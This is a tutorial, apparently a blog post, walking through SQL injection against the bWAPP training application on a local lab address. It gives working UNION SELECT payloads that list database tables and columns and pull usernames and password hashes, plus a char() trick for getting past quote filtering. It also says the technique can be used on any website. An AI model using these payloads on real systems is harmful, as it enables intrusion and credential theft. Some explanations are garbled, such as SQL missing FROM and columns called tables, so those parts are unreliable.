Structured Query Language (SQL) is used by many developers to insert and retrieve information from a common relational database. Whenever you see a website that does more than just display static information (i.e. letting users make posts or create accounts) it is most likely using a database. Most Wordpress sites run on SQL databases. The standard SQL command looks like this:
select * users where name='Simeon'
This sql statement would simply pull my account information within a web application. In a web application, the developer might dynamically generate a sql statement based on the user input.
Suppose the developer wanted to select users based on your input, the sql statement might look like this:
select * users where name='+[NAME]+'
The problem with this is that you might try to enter a value to break that sql statement or use it to extract more information from the database than you are entitled to (usernames, passwords, ssn numbers, etc...).
You should begin by playing around with the search box and entering various values to see what happens. If you simply press enter, all the movies are returned. However, if you enter a single quote ', you get the following error
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1
This is because you have broken the dynamic sql statement was supposed to be generated from your input. We can assume the SQL statement looked something like this:
select * from movie where title=' + [YOUR INPUT] + '
I can tell by looking at the url ;). By inputing a single quote, or anything followed by a single quote, you break the sql statement because it now has too many quotes. Suppose you entered "iron man'", then the resulting sql statement would be:
select * from movie where title='iron man''
That's one quote too many! And sql being picky with syntax has no idea how to interpret that. If you ever get this result on any website, you are clear to wreak havoc (at your own risk, of course).
For this next section, we'll switch from using the input field to messing with the url of the page. This will work because the input is being submitted though a GET request. Go ahead and give it a try! Instead of searching using the input box, just replace everything after the "?title=" in the url with your search term. You should get the same results as using the search box.
We can achieve this using sql's ORDER BY command. You can use it like so:
http://192.168.1.250/bWAPP/sqli_1.php?title=1' ORDER BY 99-- -
First we should recognize that the sql command outputed from like probably looks like:
select * from movie where title='1' ORDER BY 99-- -
The "-- " is the SQL syntax for commenting. We want to negate anything that comes after our input so we can be sure about the command's behavior.
You should get an error from the command above. Since we will always get an error if we order by more than the number of tables that exist, we can keep trying it with a small number until we no longer get an error. At that point we will know how many tables exist in the database.
If you order order by any number less than 7, you should no longer have an error. Instead, it should say "No movies were found!". Great! Now we can use "union select" command to extract information from other tables. The union select injection only works if we know exactly how many tables exist. It works as follows:
http://192.168.1.250/bWAPP/sqli_1.php?title=1' union select 1,2,3,4,5,6,7-- -
In this injection, each of the numbers represents a table in the database. If this works, we can replace some of the values to get information about the actual tables. We can use the following to get the of the database:
http://192.168.1.250/bWAPP/sqli_1.php?title=1' union select 1,@@version,3,4,5,6,7-- -
If you google the resulting version, you can learn more about the database's mechanism and vulnerabilities making your hack job a whole lot easier.
You can also grab the table names in this manner:
http://192.168.1.250/bWAPP/sqli_1.php?title=1' union select 1,table_name,3,4,5,6,7 from information_schema.tables-- -
Note that most of these tables are autogenerated. The user generated tables appear to be "users", "blog", "heroes", "movies", "login". We can probably get some valuable information from these tables. You can similarly grab the column names. Although they aren't labeled by table, you can probably guess which table they belong to.
http://192.168.1.250/bWAPP/sqli_1.php?title=1' union select 1,column_name,3,4,5,6,7 from information_schema.columns-- -
Now if we actually wanted to know, we could simply use a "where" condition to filter these columns.
http://192.168.1.250/bWAPP/sqli_1.php?title=1' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name="users"-- -
Now for the exciting part: we can go ahead steal the usernames and passwords
http://192.168.1.250/bWAPP/sqli_1.php?title=1' union select 1,login,3,4,5,6,7 from users-- - http://192.168.1.250/bWAPP/sqli_1.php?title=1' union select 1,login,3,4,5,6,7 from users-- -
Once you get the hash of the password, you can simple google it to find to clear text value if it is a simple password. If if is more complicated and a simple search doesn't find it, you can use a hash cracker like John the Ripper
Suppose we have a sensible developer who eliminates the use of quotes and special characters in the input (because she knows about people like us). We can cheat by using the "char" function to convert our word character by character from numberical values to their ascii representation. You can either use and ascii table or an ascii to text converter to get the value of each character, and have the browser interpret the result using the "char" function. The two commands below should yield the same results.
http://192.168.1.250/bWAPP/sqli_1.php?title=1' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name=char(117,115,101,114,115)-- - http://192.168.1.250/bWAPP/sqli_1.php?title=1' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name="users"-- -